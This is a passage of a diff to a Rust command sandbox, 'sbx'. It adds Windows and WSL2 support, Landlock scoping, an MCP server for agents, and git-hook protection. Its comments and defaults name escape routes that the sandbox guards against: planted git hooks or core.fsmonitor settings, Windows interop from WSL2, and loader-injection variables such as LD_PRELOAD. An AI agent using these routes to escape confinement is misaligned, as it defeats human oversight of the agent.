self.policy.resolved_roots(cwd)?; - let deny_read = self.policy.resolved_deny_read(cwd, &roots)?; + #[allow(unused_mut)] + let mut deny_read = self.policy.resolved_deny_read(cwd, &roots)?; + // Inside WSL2 a Windows program started from the sandbox would run + // outside it altogether: hide the interop interpreter and sockets. + #[cfg(target_os = "linux")] + let block_interop = self.policy.fs.mode != FsMode::Off + && self.policy.fs.block_wsl_interop + && wsl::detected(); + #[cfg(not(target_os = "linux"))] + let block_interop = false; + #[cfg(target_os = "linux")] + if block_interop { + for p in wsl::interop_paths() { + if !deny_read.contains(&p) && !roots.iter().any(|r| p.starts_with(r)) { + deny_read.push(p); + } + } + } + let protected = (self.policy.fs.mode == FsMode::WorkspaceWrite + && self.policy.fs.protect_git) + .then(|| protect::Snapshot::take(protect::git_paths(&roots))); let temp = TempDir::new()?; - let own_group = self.policy.limits.wall_secs.is_some() && !stdin_is_terminal(); + // Windows has no process groups: the helper's job object does that. + let own_group = + cfg!(unix) && self.policy.limits.wall_secs.is_some() && !stdin_is_terminal(); + // Windows: grant the writable roots and the temp directory to a + // private SID for this run, before the helper restricts the + // command's token to it. A grant that fails refuses the run in + // strict mode; best effort runs it with the writes unconfined, and + // says so. + #[cfg(windows)] + let lease = if self.policy.fs.mode == FsMode::Off { + None + } else { + let mut grant = roots.clone(); + grant.push(temp.path.clone()); + match windows::acl::Lease::acquire(&grant) { + Ok(lease) => Some(lease), + Err(e) if self.strict => return Err(e), + Err(e) => { + eprintln!("sbx: writes not confined (best effort): {e}"); + None + } + } + }; let proxy = if self.policy.network.mode == NetMode::Proxy { let allowlist = proxy::Allowlist::new( @@ -503,18 +604,30 @@ impl Sandbox { if let Some(p) = &proxy { extra.extend(p.client_env()); } - let environment = env::compute(&self.policy.env, std::env::vars_os(), &extra); + let mut environment = env::compute(&self.policy.env, std::env::vars_os(), &extra); + if block_interop { + environment.retain(|(k, _)| k != "WSL_INTEROP"); + } let spec = EnterSpec { fs_mode: self.policy.fs.mode, roots: roots.clone(), deny_read, + protected: protected + .as_ref() + .map(|s| s.paths().to_vec()) + .unwrap_or_default(), temp: temp.path.clone(), net_mode: self.policy.network.mode, proxy_port: proxy.as_ref().map(proxy::Proxy::port), limits: self.policy.limits.clone(), strict: self.strict, supervise: own_group, + #[cfg(windows)] + sid: lease.as_ref().map(|l| l.sid().to_string()), + #[cfg(not(windows))] + sid: None, + parent_pid: Some(std::process::id()), }; let helper = match &self.helper { Some(h) => h.clone(), @@ -539,8 +652,11 @@ impl Sandbox { cmd, Guard { proxy, + #[cfg(windows)] + _lease: lease, temp, enforcement, + protected, own_group, }, )) @@ -571,7 +687,137 @@ impl Sandbox { status, timed_out, decisions: guard.decisions(), + restored: guard.restore_protected(), + }) + } +} + +/// A command's result with what it printed, kept up to a limit. +#[derive(Debug)] +pub struct Captured { + pub outcome: Outcome, + pub stdout: Vec, + pub stderr: Vec, + /// Bytes printed in all, including what was cut. + pub stdout_total: u64, + pub stderr_total: u64, +} + +impl Sandbox { + /// Run `program args` in `cwd` with `stdin` fed in, keep the first + /// `max_output` bytes of each output stream, and wait for it. + /// + /// For a server running commands on someone else's behalf: no signal is + /// forwarded (the server's own signals are its own), and when the command + /// has its own process group (a wall-clock limit is set) the whole group + /// is killed once the command ends, so nothing it left running in the + /// background outlives the run. + /// + /// # Errors + /// As [`Self::command`], or when the command cannot be started. + pub fn run_captured( + &self, + program: impl AsRef, + args: &[OsString], + cwd: &Path, + stdin: Option<&[u8]>, + max_output: usize, + ) -> Result { + use std::process::Stdio; + let (mut cmd, guard) = self.command(program, args, cwd)?; + cmd.stdin(if stdin.is_some() { + Stdio::piped() + } else { + Stdio::null() }) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()); + let wall = self.policy.limits.wall_secs.map(Duration::from_secs); + let own_group = guard.own_group; + let mut child = cmd + .spawn() + .map_err(|e| format!("cannot start the helper: {e}"))?; + let out = child.stdout.take().map(|s| drain(s, max_output)); + let err = child.stderr.take().map(|s| drain(s, max_output)); + if let (Some(input), Some(mut pipe)) = (stdin, child.stdin.take()) { + let input = input.to_vec(); + std::thread::spawn(move || { + use std::io::Write; + let _ = pipe.write_all(&input); + }); + } + let pid = child.id(); + let (status, timed_out) = wait(child, wall, own_group)?; + if own_group { + kill_group(pid); + } + let collect = |h: Option, u64)>>| { + h.and_then(|h| h.join().ok()).unwrap_or_default() + }; + let (stdout, stdout_total) = collect(out); + let (stderr, stderr_total) = collect(err); + Ok(Captured { + outcome: Outcome { + status, + timed_out, + decisions: guard.decisions(), + restored: guard.restore_protected(), + }, + stdout, + stderr, + stdout_total, + stderr_total, + }) + } +} + +/// Read a stream to its end on its own thread, keeping the first `max` bytes +/// and counting the rest. +fn drain( + mut stream: impl std::io::Read + Send + 'static, + max: usize, +) -> std::thread::JoinHandle<(Vec, u64)> { + std::thread::spawn(move || { + let mut kept = Vec::new(); + let mut total = 0u64; + let mut buf = [0u8; 8192]; + while let Ok(n) = stream.read(&mut buf) { + if n == 0 { + break; + } + total += n as u64; + let room = max.saturating_sub(kept.len()); + kept.extend_from_slice(&buf[..n.min(room)]); + } + (kept, total) + }) +} + +/// Kill a process group the sandbox created, whatever is left in it. +fn kill_group(pid: u32) { + #[cfg(unix)] + if let Ok(pid) = i32::try_from(pid) { + // SAFETY: signalling a process group this crate created. + unsafe { + libc::kill(-pid, libc::SIGKILL); + } + } + #[cfg(not(unix))] + let _ = pid; +} + +/// `path` as commands expect to see it. On Windows `canonicalize` returns +/// `\\?\C:\...`, which `cmd.exe` refuses as a working folder and which +/// does not accept `/`; this gives back `C:\...`. Elsewhere, unchanged. +#[must_use] +pub fn plain_path(path: PathBuf) -> PathBuf { + #[cfg(windows)] + { + PathBuf::from(windows::strip_verbatim(&path.to_string_lossy())) + } + #[cfg(not(windows))] + { + path } } @@ -579,7 +825,7 @@ impl Sandbox { #[must_use] pub fn enforcement(policy: &Policy) -> Enforcement { Enforcement { - filesystem: fs_status(policy.fs.mode), + filesystem: fs_status(&policy.fs), network: net_status(policy.network.mode), limits: limits::status(&policy.limits), environment: Status::Enforced(environment_summary(&policy.env)), @@ -605,13 +851,19 @@ fn environment_summary(e: &policy::Env) -> String { } #[cfg(target_os = "linux")] -fn fs_status(mode: FsMode) -> Status { - linux::fs_status(mode) +fn fs_status(fs: &policy::Fs) -> Status { + match linux::fs_status(fs.mode) { + Status::Enforced(how) if wsl::detected() => Status::Enforced(format!( + "{how}; WSL: starting Windows programs is blocked (interop interpreter and \ + sockets hidden, WSL_INTEROP removed, vsock refused)" + )), + other => other, + } } #[cfg(target_os = "macos")] -fn fs_status(mode: FsMode) -> Status { - match mode { +fn fs_status(fs: &policy::Fs) -> Status { + match fs.mode { FsMode::Off => Status::NotRequested, _ if Path::new(seatbelt::SANDBOX_EXEC).exists() => { Status::Enforced("Seatbelt (sandbox-exec)".into()) @@ -620,9 +872,14 @@ fn fs_status(mode: FsMode) -> Status { } } -#[cfg(not(any(target_os = "linux", target_os = "macos")))] -fn fs_status(mode: FsMode) -> Status { - match mode { +#[cfg(windows)] +fn fs_status(fs: &policy::Fs) -> Status { + windows::fs_status(fs) +} + +#[cfg(not(any(target_os = "linux", target_os = "macos", windows)))] +fn fs_status(fs: &policy::Fs) -> Status { + match fs.mode { FsMode::Off => Status::NotRequested, _ => { Status::NotEnforced("no filesystem sandbox is implemented for this platform yet".into()) @@ -647,7 +904,12 @@ fn net_status(mode: NetMode) -> Status { } } -#[cfg(not(any(target_os = "linux", target_os = "macos")))] +#[cfg(windows)] +fn net_status(mode: NetMode) -> Status { + windows::net_status(mode) +} + +#[cfg(not(any(target_os = "linux", target_os = "macos", windows)))] fn net_status(mode: NetMode) -> Status { match mode { NetMode::Allow => Status::NotRequested, @@ -672,10 +934,14 @@ fn wrap_platform(helper: &Path, spec: &EnterSpec, roots: &[PathBuf]) -> Command cmd.arg("-D") .arg(format!("DR{i}={}", real(hidden).display())); } + for (i, kept) in spec.protected.iter().enumerate() { + cmd.arg("-D").arg(format!("PR{i}={}", real(kept).display())); + } cmd.arg("-p").arg(seatbelt::profile( spec.fs_mode, roots.len(), spec.deny_read.len(), + spec.protected.len(), spec.net_mode, spec.proxy_port, )); @@ -812,7 +1078,8 @@ impl TempDir { let path = base.join(name); match create_private_dir(&path) { Ok(()) => { - let path = std::fs::canonicalize(&path).unwrap_or(path); + // Plain, not `\\?\C:\...`: many tools cannot use that as TEMP. + let path = plain_path(std::fs::canonicalize(&path).unwrap_or(path)); return Ok(Self { path }); } Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => continue, diff --git a/crates/sandbox/src/limits.rs b/crates/sandbox/src/limits.rs index cdfb2f9..f7edd0b 100644 --- a/crates/sandbox/src/limits.rs +++ b/crates/sandbox/src/limits.rs @@ -3,12 +3,72 @@ //! `setrlimit` limits are per process and inherited, so each process the //! command starts gets the same ceiling (not a shared budget). The wall-clock //! limit is the parent's: it kills the whole process group. +//! +//! On Windows the helper's job object carries them instead (see +//! [`windows_status`]): the per-process limits that have a job-object +//! equivalent, and the wall clock by the parent killing the helper, whose +//! job then takes the whole tree with it. use crate::policy::Limits; use crate::Status; +/// What this platform enforces of `limits`. #[must_use] pub fn status(limits: &Limits) -> Status { + if cfg!(windows) { + windows_status(limits) + } else { + rlimit_status(limits) + } +} + +/// What native Windows enforces of `limits`, through a job object. +/// +/// `memory_mb` becomes `JOB_OBJECT_LIMIT_PROCESS_MEMORY`, which caps the +/// memory a process COMMITS (not its address space, as `RLIMIT_AS` does): +/// an allocation past it fails. `cpu_secs` becomes +/// `JOB_OBJECT_LIMIT_PROCESS_TIME`, user-mode time per process: the process +/// is ended when it runs out. `file_size_mb` and `open_files` have no Windows +/// counterpart, so asking for either is reported not enforced, naming what +/// would still be. +#[must_use] +pub fn windows_status(limits: &Limits) -> Status { + let mut what = Vec::new(); + if limits.wall_secs.is_some() { + what.push("wall clock (the job is killed with everything in it)"); + } + if limits.cpu_secs.is_some() { + what.push("job object: user-mode CPU time per process"); + } + if limits.memory_mb.is_some() { + what.push("job object: committed memory per process"); + } + let mut missing = Vec::new(); + if limits.file_size_mb.is_some() { + missing.push("file_size_mb"); + } + if limits.open_files.is_some() { + missing.push("open_files"); + } + if !missing.is_empty() { + let enforced = if what.is_empty() { + String::new() + } else { + format!("; enforced: {}", what.join(", ")) + }; + return Status::NotEnforced(format!( + "{} not enforced: Windows has no per-process limit for {}{enforced}", + missing.join(" and "), + if missing.len() == 1 { "it" } else { "them" }, + )); + } + if what.is_empty() { + return Status::NotRequested; + } + Status::Enforced(what.join(", ")) +} + +fn rlimit_status(limits: &Limits) -> Status { let per_process = limits.cpu_secs.is_some() || limits.memory_mb.is_some() || limits.file_size_mb.is_some() @@ -57,6 +117,9 @@ pub(crate) fn apply(limits: &Limits) -> Result<(), String> { )) } }; + // Never a core dump: it would write the process's memory (tokens, + // keys) to disk, outside what the command was meant to produce. + set(libc::RLIMIT_CORE, 0, "core dumps")?; if let Some(s) = limits.cpu_secs { set(libc::RLIMIT_CPU, s, "cpu")?; } @@ -71,3 +134,35 @@ pub(crate) fn apply(limits: &Limits) -> Result<(), String> { } Ok(()) } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn windows_reports_what_its_job_object_enforces_and_what_it_cannot() { + assert_eq!(windows_status(&Limits::default()), Status::NotRequested); + let ok = Limits { + wall_secs: Some(5), + cpu_secs: Some(2), + memory_mb: Some(512), + ..Limits::default() + }; + assert!( + matches!(windows_status(&ok), Status::Enforced(s) if s.contains("committed memory") && s.contains("CPU") && s.contains("wall")) + ); + let gap = Limits { + memory_mb: Some(512), + file_size_mb: Some(1), + open_files: Some(10), + ..Limits::default() + }; + match windows_status(&gap) { + Status::NotEnforced(s) => { + assert!(s.contains("file_size_mb and open_files"), "{s}"); + assert!(s.contains("enforced: job object: committed memory"), "{s}"); + } + other => panic!("{other:?}"), + } + } +} diff --git a/crates/sandbox/src/linux.rs b/crates/sandbox/src/linux.rs index e285e0b..18646ec 100644 --- a/crates/sandbox/src/linux.rs +++ b/crates/sandbox/src/linux.rs @@ -23,7 +23,7 @@ use std::path::{Path, PathBuf}; use landlock::{ Access, AccessFs, AccessNet, BitFlags, CompatLevel, Compatible, NetPort, PathBeneath, PathFd, - RulesetAttr, RulesetCreatedAttr, RulesetStatus, ABI, + RulesetAttr, RulesetCreatedAttr, RulesetStatus, Scope, ABI, }; use crate::policy::{FsMode, NetMode}; @@ -49,6 +49,17 @@ fn hard_ruleset_fs(abi: ABI) -> bool { .is_ok() } +/// Whether this kernel scopes signals and abstract Unix sockets to the +/// sandbox (Landlock ABI v6). +#[must_use] +pub fn scopes_supported() -> bool { + landlock::Ruleset::default() + .set_compatibility(CompatLevel::HardRequirement) + .scope(Scope::AbstractUnixSocket | Scope::Signal) + .and_then(landlock::Ruleset::create) + .is_ok() +} + /// Whether this kernel can confine TCP (Landlock ABI v4). #[must_use] pub fn net_supported() -> bool { @@ -72,7 +83,15 @@ pub(crate) fn fs_status(mode: FsMode) -> Status { out of a read-only tree (needs v2, Linux 5.19)" .into(), ), - Some(abi) => Status::Enforced(format!("Landlock (filesystem ABI {})", abi_number(abi))), + Some(abi) => Status::Enforced(format!( + "Landlock (filesystem ABI {}); {}", + abi_number(abi), + if scopes_supported() { + "signals and abstract Unix sockets scoped to the sandbox" + } else { + "signals and abstract Unix sockets NOT scoped (needs Landlock ABI v6, Linux 6.12)" + } + )), } } @@ -136,6 +155,14 @@ pub(crate) fn restrict(spec: &EnterSpec) -> Result<(), String> { .handle_access(AccessNet::from_all(ABI::V4)) .map_err(|e| e.to_string())?; } + // Landlock ABI v6 (Linux 6.12): the command may not signal a process + // outside its sandbox, nor connect to an abstract Unix socket made + // outside it (a D-Bus or X11 session bus, a container shim). Best effort: + // an older kernel drops the scopes and the rest still applies; `doctor` + // and the status say which. + ruleset = ruleset + .scope(Scope::AbstractUnixSocket | Scope::Signal) + .map_err(|e| e.to_string())?; let mut ruleset = ruleset.create().map_err(|e| e.to_string())?; if wants_fs { diff --git a/crates/sandbox/src/main.rs b/crates/sandbox/src/main.rs index 5272090..5a6dc49 100644 --- a/crates/sandbox/src/main.rs +++ b/crates/sandbox/src/main.rs @@ -4,6 +4,7 @@ //! sbx run [options] -- [args...] //! sbx check [options] what this machine would enforce of the policy //! sbx doctor what this machine can enforce at all +//! sbx mcp [options] sandboxes as an MCP server an agent drives //! ``` use std::ffi::OsString; @@ -21,6 +22,17 @@ USAGE: sbx run [OPTIONS] -- [ARGS...] sbx check [OPTIONS] print what this machine enforces of the policy (JSON with --json) sbx doctor print what this machine can enforce at all + sbx mcp [MCP OPTIONS] serve sandboxes over MCP (stdio): an agent creates one, + writes scripts into it, runs them, reads the results + +MCP OPTIONS (the ceilings; an agent can ask for less, never more): + --root

where sandboxes live (default: /sbx-mcp-) + --net most network a sandbox may have: deny (default) | proxy | allow + --allow-host with --net proxy: a host sandboxes may name (repeatable) + --max-wall longest one run may take (default 600) + -p, --policy base policy (environment, limits) every sandbox starts from + --keep leave sandboxes on disk when the server stops + --best-effort run even if part of the policy cannot be enforced here POLICY (a file, then flags on top of it): -p, --policy TOML (or .json) policy file @@ -36,6 +48,9 @@ POLICY (a file, then flags on top of it): --set-env set a variable (repeatable) --keep-agent-session keep CLAUDECODE / CLAUDE_CODE_SESSION* (stripped by default) --keep-git-redirects keep GIT_DIR / GIT_WORK_TREE / ... (stripped by default) + --no-protect-git let the command change .git/hooks and .git/config (by default + they are put back after the run: a planted hook would run, + unsandboxed, the next time anyone uses git there) --wall kill the command (and everything it started) after SECS --cpu CPU seconds per process --mem address space per process @@ -53,8 +68,14 @@ EXIT: fn main() -> ExitCode { incord_sandbox::enter_if_requested(); let args: Vec = std::env::args_os().skip(1).collect(); + // On Windows: natively, or forwarded into WSL2 when the policy needs + // what only the Linux sandbox enforces (see `incord_sandbox::backend`). + #[cfg(windows)] + if let Some(code) = windows_backend::dispatch(&args) { + return code; + } match real_main(args) { - Ok(code) => ExitCode::from(u8::try_from(code.clamp(0, 255)).unwrap_or(1)), + Ok(code) => exit_with(code), Err(e) => { eprintln!("sbx: {e}"); ExitCode::from(EXIT_SANDBOX as u8) @@ -62,6 +83,192 @@ fn main() -> ExitCode { } } +/// The command's exit code as this process's own. Windows codes are 32 +/// bits (a crash is `0xC0000005`, negative as an `i32`): clamping one into +/// 0..=255 could turn a crash into success, so they are passed on whole. +fn exit_with(code: i32) -> ExitCode { + #[cfg(windows)] + if !(0..=255).contains(&code) { + std::process::exit(code); + } + ExitCode::from(u8::try_from(code.clamp(0, 255)).unwrap_or(1)) +} + +/// `sbx.exe` on Windows: run natively, or forward to the Linux `sbx` inside +/// WSL2, where Landlock and seccomp do the confining. +#[cfg(windows)] +mod windows_backend { + use std::ffi::OsString; + use std::path::PathBuf; + use std::process::{Command, ExitCode, Stdio}; + + use incord_sandbox::backend::{choose, Backend, Choice, WSL_SETUP}; + use incord_sandbox::enforcement; + use incord_sandbox::wslpath::{to_wsl, translate_args}; + + /// Where the installer puts the Linux `sbx` inside WSL. + const IN_WSL: &str = "$HOME/.local/bin/sbx"; + + /// `Some(exit)` when this invocation was forwarded (or refused); `None` + /// to run it natively. + pub fn dispatch(args: &[OsString]) -> Option { + let backend = match Backend::from_env(|k| std::env::var(k).ok()) { + Ok(b) => b, + Err(e) => { + eprintln!("sbx: {e}"); + return Some(ExitCode::from(125)); + } + }; + let sub = args.first().and_then(|a| a.to_str()).unwrap_or(""); + if backend == Backend::Wsl + && !matches!(sub, "" | "-h" | "--help" | "help" | "-V" | "--version") + { + return Some(forward(args)); + } + // What native would leave unenforced. A command line that does not + // parse runs natively, which reports the mistake. + let (gaps, best_effort) = match sub { + "run" | "check" => { + let o = super::parse(&args[1..]).ok()?; + (enforcement(&o.policy).gaps(), o.best_effort) + } + "mcp" => { + let (_, c) = super::parse_mcp(&args[1..]).ok()?; + (enforcement(&c.widest_policy()).gaps(), c.best_effort) + } + _ => return None, + }; + match choose(backend, &gaps, best_effort, wsl_ready) { + Choice::Native => None, + Choice::Wsl => Some(forward(args)), + // `check` is a report: say what native enforces (exit 1 for the + // gaps) and why WSL was not used. + Choice::Refuse(why) if sub == "check" => { + eprintln!("sbx: {why}"); + None + } + Choice::Refuse(why) => { + eprintln!("sbx: {why}"); + Some(ExitCode::from(125)) + } + } + } + + fn wsl_exe() -> PathBuf { + let root = std::env::var_os("SystemRoot").unwrap_or_else(|| r"C:\Windows".into()); + PathBuf::from(root).join("System32").join("wsl.exe") + } + + /// Whether forwarding would work: `wsl.exe` exists and the Linux `sbx` + /// is installed in the distribution. Starts WSL, so asked only when it + /// matters. + pub fn wsl_ready() -> Result<(), String> { + let exe = wsl_exe(); + if !exe.is_file() { + return Err("wsl.exe was not found: WSL is not installed".into()); + } + let mut cmd = Command::new(&exe); + if let Some(distro) = std::env::var_os("SBX_WSL_DISTRO") { + cmd.arg("-d").arg(distro); + } + let status = cmd + .args(["-e", "sh", "-c", &format!("[ -x \"{IN_WSL}\" ]")]) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .status(); + match status { + Ok(s) if s.success() => Ok(()), + Ok(_) => Err(format!( + "the Linux sbx is not installed inside WSL at {IN_WSL}, or WSL has no Linux \ + distribution" + )), + Err(e) => Err(format!("wsl.exe cannot start: {e}")), + } + } + + /// The Windows lines of `sbx doctor`: the backend, and whether WSL2 + /// forwarding is there for what native cannot enforce. + pub fn doctor() { + match Backend::from_env(|k| std::env::var(k).ok()) { + Ok(b) => println!( + " [info] backend SBX_BACKEND={}: {}", + b.as_str(), + match b { + Backend::Auto => "native when it enforces the whole policy, else WSL2", + Backend::Native => "always native", + Backend::Wsl => "always WSL2", + } + ), + Err(e) => println!(" [no ] backend {e}"), + } + match wsl_ready() { + Ok(()) => println!( + " [ok ] WSL2 forwarding available: network deny/proxy and deny_read \ + are enforced there (run `SBX_BACKEND=wsl sbx doctor` for its report)" + ), + Err(why) => println!(" [no ] WSL2 {why}; to have it, {WSL_SETUP}"), + } + } + + pub fn forward(args: &[OsString]) -> ExitCode { + match run(args) { + Ok(code) => super::exit_with(code), + Err(e) => { + eprintln!("sbx: {e}"); + ExitCode::from(125) + } + } + } + + fn run(args: &[OsString]) -> Result { + let args: Vec = args + .iter() + .map(|a| { + a.to_str() + .map(str::to_string) + .ok_or("an argument is not valid UTF-8") + }) + .collect::>()?; + let args = translate_args(&args)?; + let cwd = std::env::current_dir().map_err(|e| e.to_string())?; + let cwd = to_wsl(&cwd.display().to_string()).ok_or_else(|| { + format!( + "the current folder {} has no path inside WSL; run from a drive folder", + cwd.display() + ) + })?; + let mut cmd = Command::new(wsl_exe()); + if let Some(distro) = std::env::var_os("SBX_WSL_DISTRO") { + cmd.arg("-d").arg(distro); + } + cmd.arg("--cd") + .arg(&cwd) + .arg("-e") + .arg("sh") + .arg("-c") + .arg(format!( + "[ -x \"{IN_WSL}\" ] || {{ echo 'sbx is not installed inside WSL' >&2; exit 126; }}; \ + exec \"{IN_WSL}\" \"$@\"" + )) + .arg("sbx") + .args(&args); + let status = cmd + .status() + .map_err(|e| format!("cannot start wsl.exe ({e}); {WSL_SETUP}"))?; + let code = status.code().unwrap_or(1); + // wsl.exe itself fails with -1 (no WSL, no distribution); the + // command's own codes pass through. + if code < 0 || code == 126 { + eprintln!( + "sbx: forwarding to WSL2 failed; {WSL_SETUP}. Or set SBX_BACKEND=native to run \ + natively (writes, environment and limits confined; network and deny_read not)." + ); + } + Ok(code) + } +} + struct Options { policy: Policy, cwd: PathBuf, @@ -103,6 +310,7 @@ fn real_main(args: Vec) -> Result { Ok(if e.gaps().is_empty() { 0 } else { 1 }) } "run" => run(parse(&args[1..])?), + "mcp" => mcp(&args[1..]), other => Err(format!("unknown command `{other}` (try `sbx --help`)")), } } @@ -124,6 +332,9 @@ fn run(o: Options) -> Result { for d in outcome.decisions.iter().filter(|d| !d.allowed) { eprintln!("sbx: network refused {} ({})", d.target, d.reason); } + for r in &outcome.restored { + eprintln!("sbx: protected path changed by the command, {r}"); + } if outcome.timed_out { eprintln!("sbx: killed after the wall-clock limit"); } @@ -131,6 +342,76 @@ fn run(o: Options) -> Result { Ok(outcome.code()) } +fn mcp(args: &[OsString]) -> Result { + let (root, mut ceilings) = parse_mcp(args)?; + let root = root + .unwrap_or_else(|| std::env::temp_dir().join(format!("sbx-mcp-{}", std::process::id()))); + std::fs::create_dir_all(&root).map_err(|e| format!("{}: {e}", root.display()))?; + ceilings.root = + incord_sandbox::plain_path(std::fs::canonicalize(&root).map_err(|e| e.to_string())?); + let stdin = std::io::stdin(); + incord_sandbox::server::Server::new(ceilings) + .serve(stdin.lock(), std::io::stdout().lock()) + .map_err(|e| format!("mcp: {e}"))?; + Ok(0) +} + +/// `sbx mcp`'s options: the sandboxes' root (if given) and the ceilings. +fn parse_mcp( + args: &[OsString], +) -> Result<(Option, incord_sandbox::server::Ceilings), String> { + use incord_sandbox::server::Ceilings; + let mut root: Option = None; + let mut ceilings = Ceilings::new(PathBuf::new()); + let mut i = 0; + let value = |i: usize| -> Result { + args.get(i) + .and_then(|v| v.to_str()) + .map(str::to_string) + .ok_or_else(|| "a value is missing after an option".to_string()) + }; + while i < args.len() { + let flag = args[i].to_str().unwrap_or(""); + match flag { + "--root" => { + i += 1; + root = Some(PathBuf::from(value(i)?)); + } + "--net" => { + i += 1; + let v = value(i)?; + ceilings.network = + NetMode::parse(&v).ok_or(format!("--net: unknown mode `{v}`"))?; + } + "--allow-host" => { + i += 1; + ceilings.hosts.push(value(i)?); + } + "--max-wall" => { + i += 1; + let v = value(i)?; + ceilings.max_wall_secs = v + .parse() + .ok() + .filter(|n| *n > 0) + .ok_or(format!("--max-wall: `{v}` is not a positive number"))?; + } + "-p" | "--policy" => { + i += 1; + ceilings.base = Policy::load(&PathBuf::from(value(i)?))?; + } + "--keep" => ceilings.keep = true, + "--best-effort" => ceilings.best_effort = true, + other => return Err(format!("sbx mcp: unknown option `{other}`")), + } + i += 1; + } + if !ceilings.hosts.is_empty() && ceilings.network == NetMode::Deny { + ceilings.network = NetMode::Proxy; + } + Ok((root, ceilings)) +} + fn parse(args: &[OsString]) -> Result { let mut policy: Option = None; let mut flags: Vec<(String, Option)> = Vec::new(); @@ -232,6 +513,7 @@ fn parse(args: &[OsString]) -> Result { } "--keep-agent-session" => policy.env.strip_agent_session = false, "--keep-git-redirects" => policy.env.strip_git_redirects = false, + "--no-protect-git" => policy.fs.protect_git = false, "--wall" => policy.limits.wall_secs = Some(num(&v)?), "--cpu" => policy.limits.cpu_secs = Some(num(&v)?), "--mem" => policy.limits.memory_mb = Some(num(&v)?), @@ -266,6 +548,12 @@ fn doctor() { }; let full = probe(FsMode::WorkspaceWrite, NetMode::Proxy); let deny = probe(FsMode::Off, NetMode::Deny); + let hidden = { + let mut p = Policy::default(); + p.fs.mode = FsMode::ReadOnly; + p.fs.deny_read.push(PathBuf::from("hidden")); + enforcement(&p) + }; println!( "sbx {} on {}", env!("CARGO_PKG_VERSION"), @@ -277,6 +565,7 @@ fn doctor() { Status::NotRequested => {} }; show("filesystem", &full.filesystem); + show("deny_read", &hidden.filesystem); show("network deny", &deny.network); show("network proxy", &full.network); show("limits", &full.limits); @@ -288,4 +577,6 @@ fn doctor() { ), None => println!(" [ok ] proxy connects directly; allowed names that resolve to private addresses are refused"), } + #[cfg(windows)] + windows_backend::doctor(); } diff --git a/crates/sandbox/src/policy.rs b/crates/sandbox/src/policy.rs index 5af234f..82ca821 100644 --- a/crates/sandbox/src/policy.rs +++ b/crates/sandbox/src/policy.rs @@ -5,6 +5,8 @@ //! mode = "workspace-write" # off | read-only | workspace-write //! write = ["."] # writable roots (workspace-write only) //! deny_read = ["../private"] # hidden: not even readable +//! protect_git = true # .git/hooks and .git/config kept as they were (default) +//! block_wsl_interop = true # inside WSL2: no starting Windows programs (default) //! //! [network] //! mode = "proxy" # allow | deny | proxy @@ -17,6 +19,7 @@ //! remove = ["AWS_*"] # removed; a trailing * matches a prefix //! strip_agent_session = true # CLAUDECODE, CLAUDE_CODE_SESSION*, ... (default) //! strip_git_redirects = true # GIT_DIR, GIT_WORK_TREE, ... (default) +//! strip_loader_injection = true # LD_PRELOAD, LD_AUDIT, DYLD_INSERT_LIBRARIES (default) //! set = { CI = "1" } //! //! [limits] @@ -49,7 +52,7 @@ pub struct Policy { /// What the command may do to the filesystem. Reading is allowed everywhere /// (a command that cannot read its toolchain cannot run) except beneath /// `deny_read`. -#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] #[serde(default, deny_unknown_fields)] pub struct Fs { pub mode: FsMode, @@ -61,6 +64,26 @@ pub struct Fs { /// `workspace-write`, must exist, and may not lie inside a writable root /// (writing implies reading). Relative paths resolve like `write`. pub deny_read: Vec, + /// Keep each writable root's `.git/hooks` and `.git/config` as they + /// were: a planted hook runs, unsandboxed, the next time anyone uses git + /// there (see [`crate::protect`]). On by default. + pub protect_git: bool, + /// Inside WSL2: stop the command starting Windows programs, which would + /// run outside the sandbox altogether (see [`crate::wsl`]). On by + /// default; only applies when the filesystem is confined. + pub block_wsl_interop: bool, +} + +impl Default for Fs { + fn default() -> Self { + Self { + mode: FsMode::Off, + write: Vec::new(), + deny_read: Vec::new(), + protect_git: true, + block_wsl_interop: true, + } + } } #[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)] @@ -161,6 +184,9 @@ pub struct Env { /// Remove the variables that point git at another repository (see /// [`crate::env::GIT_REDIRECTS`]). pub strip_git_redirects: bool, + /// Remove the variables that make every program load a library someone + /// chose (see [`crate::env::LOADER_INJECTION`]). + pub strip_loader_injection: bool, /// Set last, so they win over everything above. pub set: BTreeMap, } @@ -173,6 +199,7 @@ impl Default for Env { remove: Vec::new(), strip_agent_session: true, strip_git_redirects: true, + strip_loader_injection: true, set: BTreeMap::new(), } } @@ -212,6 +239,8 @@ impl Policy { mode: FsMode::WorkspaceWrite, write: vec![root.into()], deny_read: Vec::new(), + protect_git: true, + block_wsl_interop: true, }, ..Self::default() } @@ -378,7 +407,11 @@ mod tests { #[test] fn a_leading_tilde_is_the_home_directory() { let cwd = Path::new("/work"); - let home = std::env::var_os("HOME").map(PathBuf::from).expect("HOME"); + // As `absolute` finds it: HOME, else USERPROFILE (Windows). + let home = std::env::var_os("HOME") + .or_else(|| std::env::var_os("USERPROFILE")) + .map(PathBuf::from) + .expect("a home directory"); assert_eq!(absolute(Path::new("~/.claude"), cwd), home.join(".claude")); assert_eq!(absolute(Path::new("~"), cwd), home); assert_eq!(absolute(Path::new("a/~b"), cwd), cwd.join("a/~b")); diff --git a/crates/sandbox/src/protect.rs b/crates/sandbox/src/protect.rs new file mode 100644 index 0000000..01101ad --- /dev/null +++ b/crates/sandbox/src/protect.rs @@ -0,0 +1,359 @@ +//! Paths inside a writable root that the command must not leave changed: +//! by default a repository's `.git/hooks` and `.git/config`. +//! +//! # Why +//! +//! A hook, or a `core.fsmonitor` / `core.hooksPath` line in the config, is +//! code that git runs the NEXT time anyone uses the repository, outside any +//! sandbox. A command confined to the workspace could plant one and get out +//! by waiting. +//! +//! # How +//! +//! Landlock only grants: a writable root is writable all the way down, and +//! carving `.git/hooks` out of it would also take away the right to create +//! files in the root itself. So on Linux the protected paths are snapshotted +//! before the command runs and, after it ends, anything it changed is put +//! back, and the change reported. A hook the command planted could still run +//! if someone ran git in the workspace WHILE the command was running. +//! On macOS the Seatbelt profile also refuses the writes outright. +//! +//! A worktree's `.git` is a file naming the real git directory (`gitdir:`); +//! that directory's (and its common directory's) hooks and config are +//! protected when they lie inside a writable root. Outside one, the 